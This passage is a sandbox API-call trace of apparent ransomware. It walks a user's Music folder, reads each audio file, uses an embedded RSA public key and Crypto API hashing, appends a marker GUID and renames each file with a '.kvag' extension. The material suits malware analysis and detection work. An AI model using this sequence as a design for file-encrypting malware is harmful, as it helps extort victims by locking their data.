(hHash=0x6183888) returned 1 [0120.767] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.768] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.768] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.768] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.768] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.770] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xee9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.770] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.771] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.771] CloseHandle (hObject=0x61c) returned 1 [0120.772] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\4IqXBq8-5-MGXyBDR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\4iqxbq8-5-mgxybdr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\4IqXBq8-5-MGXyBDR.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\4iqxbq8-5-mgxybdr.wav.kvag")) returned 1 [0120.773] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f2b530, ftCreationTime.dwHighDateTime=0x1d4d4a7, ftLastAccessTime.dwLowDateTime=0x78c26970, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0x78c26970, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dDJH0qEgeh8-fL", cAlternateFileName="DDJH0Q~1")) returned 1 [0120.773] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x835bd380, ftCreationTime.dwHighDateTime=0x1d4cc20, ftLastAccessTime.dwLowDateTime=0x88e0dca0, ftLastAccessTime.dwHighDateTime=0x1d4d568, ftLastWriteTime.dwLowDateTime=0x88e0dca0, ftLastWriteTime.dwHighDateTime=0x1d4d568, nFileSizeHigh=0x0, nFileSizeLow=0xdba9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DDvvo5tjuRsdtvEYSI3d.m4a", cAlternateFileName="DDVVO5~1.M4A")) returned 1 [0120.773] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\DDvvo5tjuRsdtvEYSI3d.m4a") returned=".m4a" [0120.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\DDvvo5tjuRsdtvEYSI3d.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddvvo5tjursdtveysi3d.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.778] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=56233) returned 1 [0120.778] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.782] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdb83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.782] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.784] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xdba9, lpOverlapped=0x0) returned 1 [0120.785] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.785] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.785] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.785] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.786] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.786] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.786] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.786] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.786] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.786] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.786] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.786] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.786] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.786] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.787] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdba9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.787] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.787] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.787] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.787] CloseHandle (hObject=0x61c) returned 1 [0120.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\DDvvo5tjuRsdtvEYSI3d.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddvvo5tjursdtveysi3d.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\DDvvo5tjuRsdtvEYSI3d.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddvvo5tjursdtveysi3d.m4a.kvag")) returned 1 [0120.789] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a08030, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0x371574f0, ftLastAccessTime.dwHighDateTime=0x1d4cbb1, ftLastWriteTime.dwLowDateTime=0x371574f0, ftLastWriteTime.dwHighDateTime=0x1d4cbb1, nFileSizeHigh=0x0, nFileSizeLow=0xb59e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HRoUkT40t Y.wav", cAlternateFileName="HROUKT~1.WAV")) returned 1 [0120.789] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\HRoUkT40t Y.wav") returned=".wav" [0120.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\HRoUkT40t Y.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\hroukt40t y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.790] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=46494) returned 1 [0120.790] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.792] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.792] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.794] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb59e, lpOverlapped=0x0) returned 1 [0120.794] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.794] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.794] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.794] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.795] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.795] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.795] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.795] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.795] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.795] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.795] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.795] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.796] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.796] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.796] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb59e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.796] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.796] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.796] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.796] CloseHandle (hObject=0x61c) returned 1 [0120.797] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\HRoUkT40t Y.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\hroukt40t y.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\HRoUkT40t Y.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\hroukt40t y.wav.kvag")) returned 1 [0120.799] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7834ba30, ftCreationTime.dwHighDateTime=0x1d4d4a9, ftLastAccessTime.dwLowDateTime=0x6c7ef5e0, ftLastAccessTime.dwHighDateTime=0x1d4d565, ftLastWriteTime.dwLowDateTime=0x6c7ef5e0, ftLastWriteTime.dwHighDateTime=0x1d4d565, nFileSizeHigh=0x0, nFileSizeLow=0x5559, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PgkQ-pJhsE-sX.wav", cAlternateFileName="PGKQ-P~1.WAV")) returned 1 [0120.799] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\PgkQ-pJhsE-sX.wav") returned=".wav" [0120.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\PgkQ-pJhsE-sX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\pgkq-pjhse-sx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.799] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=21849) returned 1 [0120.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.801] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5533, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.801] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.803] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5559, lpOverlapped=0x0) returned 1 [0120.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.803] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.804] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.804] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.804] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.804] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.804] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.804] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.804] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.805] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.805] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.805] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.805] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5559, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.805] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.805] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.805] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.805] CloseHandle (hObject=0x61c) returned 1 [0120.806] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\PgkQ-pJhsE-sX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\pgkq-pjhse-sx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\PgkQ-pJhsE-sX.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\pgkq-pjhse-sx.wav.kvag")) returned 1 [0120.808] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7165f60, ftCreationTime.dwHighDateTime=0x1d4d17c, ftLastAccessTime.dwLowDateTime=0x91a2a780, ftLastAccessTime.dwHighDateTime=0x1d4c6c5, ftLastWriteTime.dwLowDateTime=0x91a2a780, ftLastWriteTime.dwHighDateTime=0x1d4c6c5, nFileSizeHigh=0x0, nFileSizeLow=0xcacd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q1rdrJ4P3K0f1VBWsz.mp3", cAlternateFileName="Q1RDRJ~1.MP3")) returned 1 [0120.808] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\Q1rdrJ4P3K0f1VBWsz.mp3") returned=".mp3" [0120.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\Q1rdrJ4P3K0f1VBWsz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\q1rdrj4p3k0f1vbwsz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.809] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=51917) returned 1 [0120.809] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.810] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcaa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.810] ReadFile (in: hFile=0x61c, 